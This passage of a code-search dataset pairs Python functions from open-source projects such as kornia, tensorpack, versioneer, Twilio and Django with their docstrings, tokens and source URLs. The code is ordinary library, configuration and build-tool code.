Input must be a tensor of shape (C, H, W) or a batch of tensors :math:`(*, C, H, W)`.
Args:
input: input tensor.
Returns:
The rotated image tensor.
"""
return torch.flip(input, [-2, -1])
|
[
"def",
"rot180",
"(",
"input",
":",
"torch",
".",
"Tensor",
")",
"->",
"torch",
".",
"Tensor",
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".",
"flip",
"(",
"input",
",",
"[",
"-",
"2",
",",
"-",
"1",
"]",
")"
] |
https://github.com/kornia/kornia/blob/b12d6611b1c41d47b2c93675f0ea344b5314a688/kornia/geometry/transform/flips.py#L104-L119
|
|
Podshot/MCEdit-Unified
|
90abfb170c65b877ac67193e717fa3a3ded635dd
|
stock-filters/Forester.py
|
python
|
assign_value
|
(x, y, z, values, save_file)
|
return result
|
Assign an index value to a location in mcmap.
If the index is outside the bounds of the map, return None. If the
assignment succeeds, return True.
|
Assign an index value to a location in mcmap.
|
[
"Assign",
"an",
"index",
"value",
"to",
"a",
"location",
"in",
"mcmap",
"."
] |
def assign_value(x, y, z, values, save_file):
'''Assign an index value to a location in mcmap.
If the index is outside the bounds of the map, return None. If the
assignment succeeds, return True.
'''
if y > 255:
return None
result = save_file.set_block(x, y, z, values)
if LIGHTINGFIX:
relight_master.add(x, z)
return result
|
[
"def",
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"relight_master",
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"add",
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"x",
",",
"z",
")",
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] |
https://github.com/Podshot/MCEdit-Unified/blob/90abfb170c65b877ac67193e717fa3a3ded635dd/stock-filters/Forester.py#L461-L472
|
|
pyg-team/pytorch_geometric
|
b920e9a3a64e22c8356be55301c88444ff051cae
|
examples/infomax_inductive.py
|
python
|
Encoder.__init__
|
(self, in_channels, hidden_channels)
|
[] |
def __init__(self, in_channels, hidden_channels):
super().__init__()
self.convs = torch.nn.ModuleList([
SAGEConv(in_channels, hidden_channels),
SAGEConv(hidden_channels, hidden_channels),
SAGEConv(hidden_channels, hidden_channels)
])
self.activations = torch.nn.ModuleList()
self.activations.extend([
nn.PReLU(hidden_channels),
nn.PReLU(hidden_channels),
nn.PReLU(hidden_channels)
])
|
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https://github.com/pyg-team/pytorch_geometric/blob/b920e9a3a64e22c8356be55301c88444ff051cae/examples/infomax_inductive.py#L26-L39
|
||||
zhl2008/awd-platform
|
0416b31abea29743387b10b3914581fbe8e7da5e
|
web_flaskbb/Python-2.7.9/Lib/plat-mac/FrameWork.py
|
python
|
MenuItem.check
|
(self, onoff)
|
[] |
def check(self, onoff):
self.menu.menu.CheckMenuItem(self.item, onoff)
|
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https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_flaskbb/Python-2.7.9/Lib/plat-mac/FrameWork.py#L674-L675
|
||||
robotframework/robotframework
|
e4f66e7bbe02b1741224ad4ab3fbfe9e1cb51ecf
|
src/robot/utils/misc.py
|
python
|
seq2str2
|
(sequence)
|
return '[ %s ]' % ' | '.join(safe_str(item) for item in sequence)
|
Returns sequence in format `[ item 1 | item 2 | ... ]`.
|
Returns sequence in format `[ item 1 | item 2 | ... ]`.
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def seq2str2(sequence):
"""Returns sequence in format `[ item 1 | item 2 | ... ]`."""
if not sequence:
return '[ ]'
return '[ %s ]' % ' | '.join(safe_str(item) for item in sequence)
|
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https://github.com/robotframework/robotframework/blob/e4f66e7bbe02b1741224ad4ab3fbfe9e1cb51ecf/src/robot/utils/misc.py#L117-L121
|
|
twilio/twilio-python
|
6e1e811ea57a1edfadd5161ace87397c563f6915
|
twilio/rest/serverless/v1/service/asset/asset_version.py
|
python
|
AssetVersionInstance.__init__
|
(self, version, payload, service_sid, asset_sid, sid=None)
|
Initialize the AssetVersionInstance
:returns: twilio.rest.serverless.v1.service.asset.asset_version.AssetVersionInstance
:rtype: twilio.rest.serverless.v1.service.asset.asset_version.AssetVersionInstance
|
Initialize the AssetVersionInstance
|
[
"Initialize",
"the",
"AssetVersionInstance"
] |
def __init__(self, version, payload, service_sid, asset_sid, sid=None):
"""
Initialize the AssetVersionInstance
:returns: twilio.rest.serverless.v1.service.asset.asset_version.AssetVersionInstance
:rtype: twilio.rest.serverless.v1.service.asset.asset_version.AssetVersionInstance
"""
super(AssetVersionInstance, self).__init__(version)
# Marshaled Properties
self._properties = {
'sid': payload.get('sid'),
'account_sid': payload.get('account_sid'),
'service_sid': payload.get('service_sid'),
'asset_sid': payload.get('asset_sid'),
'path': payload.get('path'),
'visibility': payload.get('visibility'),
'date_created': deserialize.iso8601_datetime(payload.get('date_created')),
'url': payload.get('url'),
}
# Context
self._context = None
self._solution = {
'service_sid': service_sid,
'asset_sid': asset_sid,
'sid': sid or self._properties['sid'],
}
|
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https://github.com/twilio/twilio-python/blob/6e1e811ea57a1edfadd5161ace87397c563f6915/twilio/rest/serverless/v1/service/asset/asset_version.py#L263-L290
|
||
chengzhengxin/groupsoftmax-simpledet
|
3f63a00998c57fee25241cf43a2e8600893ea462
|
config/resnet_v1b/mask_r50v1b_fpn_2x.py
|
python
|
get_config
|
(is_train)
|
return General, KvstoreParam, RpnParam, RoiParam, BboxParam, DatasetParam, \
ModelParam, OptimizeParam, TestParam, \
transform, data_name, label_name, metric_list
|
[] |
def get_config(is_train):
class General:
log_frequency = 10
name = __name__.rsplit("/")[-1].rsplit(".")[-1]
batch_image = 2 if is_train else 1
fp16 = False
loader_worker = 8
class KvstoreParam:
kvstore = "nccl"
batch_image = General.batch_image
gpus = [0, 1, 2, 3, 4, 5, 6, 7]
fp16 = General.fp16
class NormalizeParam:
normalizer = normalizer_factory(type="fixbn")
class BackboneParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
depth = 50
class NeckParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
class RpnParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
batch_image = General.batch_image
nnvm_proposal = True
nnvm_rpn_target = False
class anchor_generate:
scale = (8,)
ratio = (0.5, 1.0, 2.0)
stride = (4, 8, 16, 32, 64)
image_anchor = 256
max_side = 1400
class anchor_assign:
allowed_border = 0
pos_thr = 0.7
neg_thr = 0.3
min_pos_thr = 0.0
image_anchor = 256
pos_fraction = 0.5
class head:
conv_channel = 256
mean = (0, 0, 0, 0)
std = (1, 1, 1, 1)
class proposal:
pre_nms_top_n = 2000 if is_train else 1000
post_nms_top_n = 2000 if is_train else 1000
nms_thr = 0.7
min_bbox_side = 0
class subsample_proposal:
proposal_wo_gt = False
image_roi = 512
fg_fraction = 0.25
fg_thr = 0.5
bg_thr_hi = 0.5
bg_thr_lo = 0.0
class bbox_target:
num_reg_class = 81
class_agnostic = False
weight = (1.0, 1.0, 1.0, 1.0)
mean = (0.0, 0.0, 0.0, 0.0)
std = (0.1, 0.1, 0.2, 0.2)
class BboxParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
num_class = 1 + 80
image_roi = 512
batch_image = General.batch_image
class regress_target:
class_agnostic = False
mean = (0.0, 0.0, 0.0, 0.0)
std = (0.1, 0.1, 0.2, 0.2)
class MaskParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
resolution = 28
dim_reduced = 256
num_fg_roi = int(RpnParam.subsample_proposal.image_roi * RpnParam.subsample_proposal.fg_fraction)
class RoiParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
out_size = 7
stride = (4, 8, 16, 32)
roi_canonical_scale = 224
roi_canonical_level = 4
class MaskRoiParam:
fp16 = General.fp16
normalizer = NormalizeParam.normalizer
out_size = 14
stride = (4, 8, 16, 32)
roi_canonical_scale = 224
roi_canonical_level = 4
class DatasetParam:
if is_train:
image_set = ("coco_train2014", "coco_valminusminival2014")
else:
image_set = ("coco_minival2014", )
class OptimizeParam:
class optimizer:
type = "sgd"
lr = 0.01 / 8 * len(KvstoreParam.gpus) * KvstoreParam.batch_image
momentum = 0.9
wd = 0.0001
clip_gradient = None
class schedule:
mult = 2
begin_epoch = 0
end_epoch = 6 * mult
lr_iter = [60000 * mult * 16 // (len(KvstoreParam.gpus) * KvstoreParam.batch_image),
80000 * mult * 16 // (len(KvstoreParam.gpus) * KvstoreParam.batch_image)]
class warmup:
type = "gradual"
lr = 0.01 / 8 * len(KvstoreParam.gpus) * KvstoreParam.batch_image / 3.0
iter = 500
class TestParam:
min_det_score = 0.05
max_det_per_image = 100
process_roidb = lambda x: x
process_output = lambda x, y: process_output(x, y)
class model:
prefix = "experiments/{}/checkpoint".format(General.name)
epoch = OptimizeParam.schedule.end_epoch
class nms:
type = "nms"
thr = 0.5
class coco:
annotation = "data/coco/annotations/instances_minival2014.json"
backbone = Backbone(BackboneParam)
neck = Neck(NeckParam)
rpn_head = RpnHead(RpnParam, MaskParam)
roi_extractor = RoiExtractor(RoiParam)
mask_roi_extractor = RoiExtractor(MaskRoiParam)
bbox_head = BboxHead(BboxParam)
mask_head = MaskHead(BboxParam, MaskParam, MaskRoiParam)
bbox_post_processer = BboxPostProcessor(TestParam)
detector = Detector()
if is_train:
train_sym = detector.get_train_symbol(backbone, neck, rpn_head, roi_extractor, mask_roi_extractor, bbox_head, mask_head)
test_sym = None
else:
train_sym = None
test_sym = detector.get_test_symbol(backbone, neck, rpn_head, roi_extractor, mask_roi_extractor, bbox_head, mask_head, bbox_post_processer)
class ModelParam:
train_symbol = train_sym
test_symbol = test_sym
from_scratch = False
random = True
memonger = False
memonger_until = "stage3_unit21_plus"
class pretrain:
prefix = "pretrain_model/resnet%s_v1b" % BackboneParam.depth
epoch = 0
fixed_param = ["conv0", "stage1", "gamma", "beta"]
excluded_param = ["mask_fcn"]
def process_weight(sym, arg, aux):
for stride in RpnParam.anchor_generate.stride:
add_anchor_to_arg(
sym, arg, aux, RpnParam.anchor_generate.max_side,
stride, RpnParam.anchor_generate.scale,
RpnParam.anchor_generate.ratio)
# data processing
class NormParam:
mean = tuple(i * 255 for i in (0.485, 0.456, 0.406)) # RGB order
std = tuple(i * 255 for i in (0.229, 0.224, 0.225))
# data processing
class ResizeParam:
short = 800
long = 1333
class PadParam:
short = 800
long = 1333
max_num_gt = 100
max_len_gt_poly = 2500
class AnchorTarget2DParam:
def __init__(self):
self.generate = self._generate()
class _generate:
def __init__(self):
self.stride = (4, 8, 16, 32, 64)
self.short = (200, 100, 50, 25, 13)
self.long = (334, 167, 84, 42, 21)
scales = (8)
aspects = (0.5, 1.0, 2.0)
class assign:
allowed_border = 0
pos_thr = 0.7
neg_thr = 0.3
min_pos_thr = 0.0
class sample:
image_anchor = 256
pos_fraction = 0.5
class RenameParam:
mapping = dict(image="data")
from core.detection_input import ReadRoiRecord, Resize2DImageBbox, \
ConvertImageFromHwcToChw, Flip2DImageBbox, Pad2DImageBbox, \
RenameRecord, Norm2DImage
from models.maskrcnn.input import PreprocessGtPoly, EncodeGtPoly, \
Resize2DImageBboxMask, Flip2DImageBboxMask, Pad2DImageBboxMask
from models.FPN.input import PyramidAnchorTarget2D
if is_train:
transform = [
ReadRoiRecord(None),
Norm2DImage(NormParam),
PreprocessGtPoly(),
Resize2DImageBboxMask(ResizeParam),
Flip2DImageBboxMask(),
EncodeGtPoly(PadParam),
Pad2DImageBboxMask(PadParam),
ConvertImageFromHwcToChw(),
RenameRecord(RenameParam.mapping)
]
data_name = ["data"]
label_name = ["im_info", "gt_bbox", "gt_poly"]
if not RpnParam.nnvm_rpn_target:
transform.append(PyramidAnchorTarget2D(AnchorTarget2DParam()))
label_name += ["rpn_cls_label", "rpn_reg_target", "rpn_reg_weight"]
else:
transform = [
ReadRoiRecord(None),
Norm2DImage(NormParam),
Resize2DImageBbox(ResizeParam),
ConvertImageFromHwcToChw(),
RenameRecord(RenameParam.mapping)
]
data_name = ["data", "im_info", "im_id", "rec_id"]
label_name = []
import core.detection_metric as metric
from models.maskrcnn.metric import SigmoidCELossMetric
rpn_acc_metric = metric.AccWithIgnore(
"RpnAcc",
["rpn_cls_loss_output", "rpn_cls_label_blockgrad_output"],
[]
)
rpn_l1_metric = metric.L1(
"RpnL1",
["rpn_reg_loss_output", "rpn_cls_label_blockgrad_output"],
[]
)
# for bbox, the label is generated in network so it is an output
box_acc_metric = metric.AccWithIgnore(
"RcnnAcc",
["bbox_cls_loss_output", "bbox_label_blockgrad_output"],
[]
)
box_l1_metric = metric.L1(
"RcnnL1",
["bbox_reg_loss_output", "bbox_label_blockgrad_output"],
[]
)
mask_cls_metric = SigmoidCELossMetric(
"MaskCE",
["mask_loss_output"],
[]
)
metric_list = [rpn_acc_metric, rpn_l1_metric, box_acc_metric, box_l1_metric,]
return General, KvstoreParam, RpnParam, RoiParam, BboxParam, DatasetParam, \
ModelParam, OptimizeParam, TestParam, \
transform, data_name, label_name, metric_list
|
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"data_name",
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] |
https://github.com/chengzhengxin/groupsoftmax-simpledet/blob/3f63a00998c57fee25241cf43a2e8600893ea462/config/resnet_v1b/mask_r50v1b_fpn_2x.py#L15-L336
|
|||
godotengine/godot-blender-exporter
|
b8b883df64f601acc4c40110e99631422a4978ff
|
io_scene_godot/converters/simple_nodes.py
|
python
|
CameraNode.attribute_conversion
|
(self)
|
return self._cam_attr_conv
|
Get a list of quaternary tuple
(blender_attr, godot_attr, lambda converter, attr type)
|
Get a list of quaternary tuple
(blender_attr, godot_attr, lambda converter, attr type)
|
[
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"list",
"of",
"quaternary",
"tuple",
"(",
"blender_attr",
"godot_attr",
"lambda",
"converter",
"attr",
"type",
")"
] |
def attribute_conversion(self):
"""Get a list of quaternary tuple
(blender_attr, godot_attr, lambda converter, attr type)"""
return self._cam_attr_conv
|
[
"def",
"attribute_conversion",
"(",
"self",
")",
":",
"return",
"self",
".",
"_cam_attr_conv"
] |
https://github.com/godotengine/godot-blender-exporter/blob/b8b883df64f601acc4c40110e99631422a4978ff/io_scene_godot/converters/simple_nodes.py#L45-L48
|
|
martinfleis/momepy
|
ea90c32dd8f6f9ae7d71d2cd5a02e79572c3e8f7
|
versioneer.py
|
python
|
get_cmdclass
|
()
|
return cmds
|
Get the custom setuptools/distutils subclasses used by Versioneer.
|
Get the custom setuptools/distutils subclasses used by Versioneer.
|
[
"Get",
"the",
"custom",
"setuptools",
"/",
"distutils",
"subclasses",
"used",
"by",
"Versioneer",
"."
] |
def get_cmdclass():
"""Get the custom setuptools/distutils subclasses used by Versioneer."""
if "versioneer" in sys.modules:
del sys.modules["versioneer"]
# this fixes the "python setup.py develop" case (also 'install' and
# 'easy_install .'), in which subdependencies of the main project are
# built (using setup.py bdist_egg) in the same python process. Assume
# a main project A and a dependency B, which use different versions
# of Versioneer. A's setup.py imports A's Versioneer, leaving it in
# sys.modules by the time B's setup.py is executed, causing B to run
# with the wrong versioneer. Setuptools wraps the sub-dep builds in a
# sandbox that restores sys.modules to it's pre-build state, so the
# parent is protected against the child's "import versioneer". By
# removing ourselves from sys.modules here, before the child build
# happens, we protect the child from the parent's versioneer too.
# Also see https://github.com/warner/python-versioneer/issues/52
cmds = {}
# we add "version" to both distutils and setuptools
from distutils.core import Command
class cmd_version(Command):
description = "report generated version string"
user_options = []
boolean_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
vers = get_versions(verbose=True)
print("Version: %s" % vers["version"])
print(" full-revisionid: %s" % vers.get("full-revisionid"))
print(" dirty: %s" % vers.get("dirty"))
print(" date: %s" % vers.get("date"))
if vers["error"]:
print(" error: %s" % vers["error"])
cmds["version"] = cmd_version
# we override "build_py" in both distutils and setuptools
#
# most invocation pathways end up running build_py:
# distutils/build -> build_py
# distutils/install -> distutils/build ->..
# setuptools/bdist_wheel -> distutils/install ->..
# setuptools/bdist_egg -> distutils/install_lib -> build_py
# setuptools/install -> bdist_egg ->..
# setuptools/develop -> ?
# pip install:
# copies source tree to a tempdir before running egg_info/etc
# if .git isn't copied too, 'git describe' will fail
# then does setup.py bdist_wheel, or sometimes setup.py install
# setup.py egg_info -> ?
# we override different "build_py" commands for both environments
if "setuptools" in sys.modules:
from setuptools.command.build_py import build_py as _build_py
else:
from distutils.command.build_py import build_py as _build_py
class cmd_build_py(_build_py):
def run(self):
root = get_root()
cfg = get_config_from_root(root)
versions = get_versions()
_build_py.run(self)
# now locate _version.py in the new build/ directory and replace
# it with an updated value
if cfg.versionfile_build:
target_versionfile = os.path.join(self.build_lib, cfg.versionfile_build)
print("UPDATING %s" % target_versionfile)
write_to_version_file(target_versionfile, versions)
cmds["build_py"] = cmd_build_py
if "cx_Freeze" in sys.modules: # cx_freeze enabled?
from cx_Freeze.dist import build_exe as _build_exe
# nczeczulin reports that py2exe won't like the pep440-style string
# as FILEVERSION, but it can be used for PRODUCTVERSION, e.g.
# setup(console=[{
# "version": versioneer.get_version().split("+", 1)[0], # FILEVERSION
# "product_version": versioneer.get_version(),
# ...
class cmd_build_exe(_build_exe):
def run(self):
root = get_root()
cfg = get_config_from_root(root)
versions = get_versions()
target_versionfile = cfg.versionfile_source
print("UPDATING %s" % target_versionfile)
write_to_version_file(target_versionfile, versions)
_build_exe.run(self)
os.unlink(target_versionfile)
with open(cfg.versionfile_source, "w") as f:
LONG = LONG_VERSION_PY[cfg.VCS]
f.write(
LONG
% {
"DOLLAR": "$",
"STYLE": cfg.style,
"TAG_PREFIX": cfg.tag_prefix,
"PARENTDIR_PREFIX": cfg.parentdir_prefix,
"VERSIONFILE_SOURCE": cfg.versionfile_source,
}
)
cmds["build_exe"] = cmd_build_exe
del cmds["build_py"]
if "py2exe" in sys.modules: # py2exe enabled?
try:
from py2exe.distutils_buildexe import py2exe as _py2exe # py3
except ImportError:
from py2exe.build_exe import py2exe as _py2exe # py2
class cmd_py2exe(_py2exe):
def run(self):
root = get_root()
cfg = get_config_from_root(root)
versions = get_versions()
target_versionfile = cfg.versionfile_source
print("UPDATING %s" % target_versionfile)
write_to_version_file(target_versionfile, versions)
_py2exe.run(self)
os.unlink(target_versionfile)
with open(cfg.versionfile_source, "w") as f:
LONG = LONG_VERSION_PY[cfg.VCS]
f.write(
LONG
% {
"DOLLAR": "$",
"STYLE": cfg.style,
"TAG_PREFIX": cfg.tag_prefix,
"PARENTDIR_PREFIX": cfg.parentdir_prefix,
"VERSIONFILE_SOURCE": cfg.versionfile_source,
}
)
cmds["py2exe"] = cmd_py2exe
# we override different "sdist" commands for both environments
if "setuptools" in sys.modules:
from setuptools.command.sdist import sdist as _sdist
else:
from distutils.command.sdist import sdist as _sdist
class cmd_sdist(_sdist):
def run(self):
versions = get_versions()
self._versioneer_generated_versions = versions
# unless we update this, the command will keep using the old
# version
self.distribution.metadata.version = versions["version"]
return _sdist.run(self)
def make_release_tree(self, base_dir, files):
root = get_root()
cfg = get_config_from_root(root)
_sdist.make_release_tree(self, base_dir, files)
# now locate _version.py in the new base_dir directory
# (remembering that it may be a hardlink) and replace it with an
# updated value
target_versionfile = os.path.join(base_dir, cfg.versionfile_source)
print("UPDATING %s" % target_versionfile)
write_to_version_file(
target_versionfile, self._versioneer_generated_versions
)
cmds["sdist"] = cmd_sdist
return cmds
|
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"# setuptools/bdist_egg -> distutils/install_lib -> build_py",
"# setuptools/install -> bdist_egg ->..",
"# setuptools/develop -> ?",
"# pip install:",
"# copies source tree to a tempdir before running egg_info/etc",
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] |
https://github.com/martinfleis/momepy/blob/ea90c32dd8f6f9ae7d71d2cd5a02e79572c3e8f7/versioneer.py#L1527-L1706
|
|
WZBSocialScienceCenter/tmtoolkit
|
ed9b1d4af572cf10eae37b9566e229e2dd487605
|
tmtoolkit/topicmod/model_stats.py
|
python
|
marginal_word_distrib
|
(topic_word_distrib, p_t)
|
return (topic_word_distrib.T * p_t).sum(axis=1)
|
Return the marginal word distribution ``p(w)`` (term proportions derived from topic model) given the
topic-word distribution (phi) `topic_word_distrib` and the marginal topic distribution ``p(T)`` `p_t`.
The latter can be calculated with :func:`~tmtoolkit.topicmod.model_stats.marginal_topic_distrib`.
:param topic_word_distrib: topic-word distribution; shape KxM, where K is number of topics, M is vocabulary size
:param p_t: marginal topic distribution; array of size K
:return: array of size M (vocabulary size) with marginal word distribution
|
Return the marginal word distribution ``p(w)`` (term proportions derived from topic model) given the
topic-word distribution (phi) `topic_word_distrib` and the marginal topic distribution ``p(T)`` `p_t`.
The latter can be calculated with :func:`~tmtoolkit.topicmod.model_stats.marginal_topic_distrib`.
|
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] |
def marginal_word_distrib(topic_word_distrib, p_t):
"""
Return the marginal word distribution ``p(w)`` (term proportions derived from topic model) given the
topic-word distribution (phi) `topic_word_distrib` and the marginal topic distribution ``p(T)`` `p_t`.
The latter can be calculated with :func:`~tmtoolkit.topicmod.model_stats.marginal_topic_distrib`.
:param topic_word_distrib: topic-word distribution; shape KxM, where K is number of topics, M is vocabulary size
:param p_t: marginal topic distribution; array of size K
:return: array of size M (vocabulary size) with marginal word distribution
"""
return (topic_word_distrib.T * p_t).sum(axis=1)
|
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https://github.com/WZBSocialScienceCenter/tmtoolkit/blob/ed9b1d4af572cf10eae37b9566e229e2dd487605/tmtoolkit/topicmod/model_stats.py#L29-L39
|
|
benknight/hue-alfred-workflow
|
4447ba61116caf4a448b50c4bfb866565d66d81e
|
logic/packages/requests/packages/urllib3/request.py
|
python
|
RequestMethods.request_encode_url
|
(self, method, url, fields=None, **urlopen_kw)
|
return self.urlopen(method, url, **urlopen_kw)
|
Make a request using :meth:`urlopen` with the ``fields`` encoded in
the url. This is useful for request methods like GET, HEAD, DELETE, etc.
|
Make a request using :meth:`urlopen` with the ``fields`` encoded in
the url. This is useful for request methods like GET, HEAD, DELETE, etc.
|
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] |
def request_encode_url(self, method, url, fields=None, **urlopen_kw):
"""
Make a request using :meth:`urlopen` with the ``fields`` encoded in
the url. This is useful for request methods like GET, HEAD, DELETE, etc.
"""
if fields:
url += '?' + urlencode(fields)
return self.urlopen(method, url, **urlopen_kw)
|
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https://github.com/benknight/hue-alfred-workflow/blob/4447ba61116caf4a448b50c4bfb866565d66d81e/logic/packages/requests/packages/urllib3/request.py#L81-L88
|
|
zhl2008/awd-platform
|
0416b31abea29743387b10b3914581fbe8e7da5e
|
web_hxb2/lib/python3.5/site-packages/django/core/exceptions.py
|
python
|
ValidationError.message_dict
|
(self)
|
return dict(self)
|
[] |
def message_dict(self):
# Trigger an AttributeError if this ValidationError
# doesn't have an error_dict.
getattr(self, 'error_dict')
return dict(self)
|
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https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_hxb2/lib/python3.5/site-packages/django/core/exceptions.py#L151-L156
|
|||
ofek/hatch
|
ff67fb61056a5b682951c9d2f6e9ef935d6181f6
|
hatch/cli/publish/__init__.py
|
python
|
publish
|
(app, artifacts, user, auth, repo, no_prompt, publisher_name, options)
|
Publish build artifacts.
|
Publish build artifacts.
|
[
"Publish",
"build",
"artifacts",
"."
] |
def publish(app, artifacts, user, auth, repo, no_prompt, publisher_name, options):
"""Publish build artifacts."""
option_map = {'no_prompt': no_prompt}
if publisher_name == 'pypi':
if options:
app.abort('Use the standard CLI flags rather than passing explicit options when using the `pypi` plugin')
if user:
option_map['user'] = user
if auth:
option_map['auth'] = auth
if repo:
option_map['repo'] = repo
else: # no cov
for option in options:
key, _, value = option.partition('=')
option_map[key] = value
publisher_class = app.plugins.publisher.get(publisher_name)
if publisher_class is None:
app.abort(f'Unknown publisher: {publisher_name}')
publisher = publisher_class(
app.get_safe_application(),
app.project.location,
app.cache_dir / 'publish' / publisher_name,
app.project.config.publish.get(publisher_name, {}),
app.config.publish.get(publisher_name, {}),
)
publisher.publish(list(artifacts), option_map)
|
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https://github.com/ofek/hatch/blob/ff67fb61056a5b682951c9d2f6e9ef935d6181f6/hatch/cli/publish/__init__.py#L44-L73
|
||
home-assistant/core
|
265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1
|
homeassistant/components/philips_js/media_player.py
|
python
|
PhilipsTVMediaPlayer.media_title
|
(self)
|
return self._media_title
|
Title of current playing media.
|
Title of current playing media.
|
[
"Title",
"of",
"current",
"playing",
"media",
"."
] |
def media_title(self):
"""Title of current playing media."""
return self._media_title
|
[
"def",
"media_title",
"(",
"self",
")",
":",
"return",
"self",
".",
"_media_title"
] |
https://github.com/home-assistant/core/blob/265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1/homeassistant/components/philips_js/media_player.py#L246-L248
|
|
nadineproject/nadine
|
c41c8ef7ffe18f1853029c97eecc329039b4af6c
|
doors/keymaster/models.py
|
python
|
Keymaster.unresolved_logs
|
(self)
|
return self.gatekeeperlog_set.filter(keymaster=self, resolved=False)
|
[] |
def unresolved_logs(self):
return self.gatekeeperlog_set.filter(keymaster=self, resolved=False)
|
[
"def",
"unresolved_logs",
"(",
"self",
")",
":",
"return",
"self",
".",
"gatekeeperlog_set",
".",
"filter",
"(",
"keymaster",
"=",
"self",
",",
"resolved",
"=",
"False",
")"
] |
https://github.com/nadineproject/nadine/blob/c41c8ef7ffe18f1853029c97eecc329039b4af6c/doors/keymaster/models.py#L141-L142
|
|||
wanggrun/Adaptively-Connected-Neural-Networks
|
e27066ef52301bdafa5932f43af8feeb23647edb
|
tensorpack-installed/build/lib/tensorpack/dataflow/common.py
|
python
|
MapDataComponent.__init__
|
(self, ds, func, index=0)
|
Args:
ds (DataFlow): input DataFlow.
func (TYPE -> TYPE|None): takes ``dp[index]``, returns a new value for ``dp[index]``.
return None to discard this datapoint.
index (int): index of the component.
|
Args:
ds (DataFlow): input DataFlow.
func (TYPE -> TYPE|None): takes ``dp[index]``, returns a new value for ``dp[index]``.
return None to discard this datapoint.
index (int): index of the component.
|
[
"Args",
":",
"ds",
"(",
"DataFlow",
")",
":",
"input",
"DataFlow",
".",
"func",
"(",
"TYPE",
"-",
">",
"TYPE|None",
")",
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"takes",
"dp",
"[",
"index",
"]",
"returns",
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"for",
"dp",
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"index",
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"datapoint",
".",
"index",
"(",
"int",
")",
":",
"index",
"of",
"the",
"component",
"."
] |
def __init__(self, ds, func, index=0):
"""
Args:
ds (DataFlow): input DataFlow.
func (TYPE -> TYPE|None): takes ``dp[index]``, returns a new value for ``dp[index]``.
return None to discard this datapoint.
index (int): index of the component.
"""
index = int(index)
def f(dp):
r = func(dp[index])
if r is None:
return None
dp = list(dp) # shallow copy to avoid modifying the list
dp[index] = r
return dp
super(MapDataComponent, self).__init__(ds, f)
|
[
"def",
"__init__",
"(",
"self",
",",
"ds",
",",
"func",
",",
"index",
"=",
"0",
")",
":",
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"MapDataComponent",
",",
"self",
")",
".",
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"(",
"ds",
",",
"f",
")"
] |
https://github.com/wanggrun/Adaptively-Connected-Neural-Networks/blob/e27066ef52301bdafa5932f43af8feeb23647edb/tensorpack-installed/build/lib/tensorpack/dataflow/common.py#L290-L307
|
||
tensorpack/tensorpack
|
fac024f0f72fd593ea243f0b599a51b11fe4effd
|
tensorpack/tfutils/tower.py
|
python
|
TowerContext
|
(tower_name, is_training, vs_name='')
|
The context for a tower function, containing metadata about the current tower.
Tensorpack trainers use :class:`TowerContext` to manage tower function.
Many tensorpack layers have to be called under a :class:`TowerContext`.
Example:
.. code-block:: python
with TowerContext('', is_training=True):
# call a tensorpack layer or a tower function
|
The context for a tower function, containing metadata about the current tower.
Tensorpack trainers use :class:`TowerContext` to manage tower function.
Many tensorpack layers have to be called under a :class:`TowerContext`.
|
[
"The",
"context",
"for",
"a",
"tower",
"function",
"containing",
"metadata",
"about",
"the",
"current",
"tower",
".",
"Tensorpack",
"trainers",
"use",
":",
"class",
":",
"TowerContext",
"to",
"manage",
"tower",
"function",
".",
"Many",
"tensorpack",
"layers",
"have",
"to",
"be",
"called",
"under",
"a",
":",
"class",
":",
"TowerContext",
"."
] |
def TowerContext(tower_name, is_training, vs_name=''):
"""
The context for a tower function, containing metadata about the current tower.
Tensorpack trainers use :class:`TowerContext` to manage tower function.
Many tensorpack layers have to be called under a :class:`TowerContext`.
Example:
.. code-block:: python
with TowerContext('', is_training=True):
# call a tensorpack layer or a tower function
"""
if is_training:
return TrainTowerContext(tower_name, vs_name=vs_name)
else:
return PredictTowerContext(tower_name, vs_name=vs_name)
|
[
"def",
"TowerContext",
"(",
"tower_name",
",",
"is_training",
",",
"vs_name",
"=",
"''",
")",
":",
"if",
"is_training",
":",
"return",
"TrainTowerContext",
"(",
"tower_name",
",",
"vs_name",
"=",
"vs_name",
")",
"else",
":",
"return",
"PredictTowerContext",
"(",
"tower_name",
",",
"vs_name",
"=",
"vs_name",
")"
] |
https://github.com/tensorpack/tensorpack/blob/fac024f0f72fd593ea243f0b599a51b11fe4effd/tensorpack/tfutils/tower.py#L232-L248
|
||
AppScale/gts
|
46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9
|
AppServer/google/appengine/api/datastore.py
|
python
|
_PushConnection
|
(new_connection)
|
Internal method to save the current connection and sets a new one.
Args:
new_connection: The connection to set.
|
Internal method to save the current connection and sets a new one.
|
[
"Internal",
"method",
"to",
"save",
"the",
"current",
"connection",
"and",
"sets",
"a",
"new",
"one",
"."
] |
def _PushConnection(new_connection):
"""Internal method to save the current connection and sets a new one.
Args:
new_connection: The connection to set.
"""
__InitConnection()
_thread_local.connection_stack.append(new_connection)
|
[
"def",
"_PushConnection",
"(",
"new_connection",
")",
":",
"__InitConnection",
"(",
")",
"_thread_local",
".",
"connection_stack",
".",
"append",
"(",
"new_connection",
")"
] |
https://github.com/AppScale/gts/blob/46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9/AppServer/google/appengine/api/datastore.py#L400-L407
|
||
wxWidgets/Phoenix
|
b2199e299a6ca6d866aa6f3d0888499136ead9d6
|
wx/lib/agw/gradientbutton.py
|
python
|
GradientButton.OnMouseEnter
|
(self, event)
|
Handles the ``wx.EVT_ENTER_WINDOW`` event for :class:`GradientButton`.
:param `event`: a :class:`MouseEvent` event to be processed.
|
Handles the ``wx.EVT_ENTER_WINDOW`` event for :class:`GradientButton`.
|
[
"Handles",
"the",
"wx",
".",
"EVT_ENTER_WINDOW",
"event",
"for",
":",
"class",
":",
"GradientButton",
"."
] |
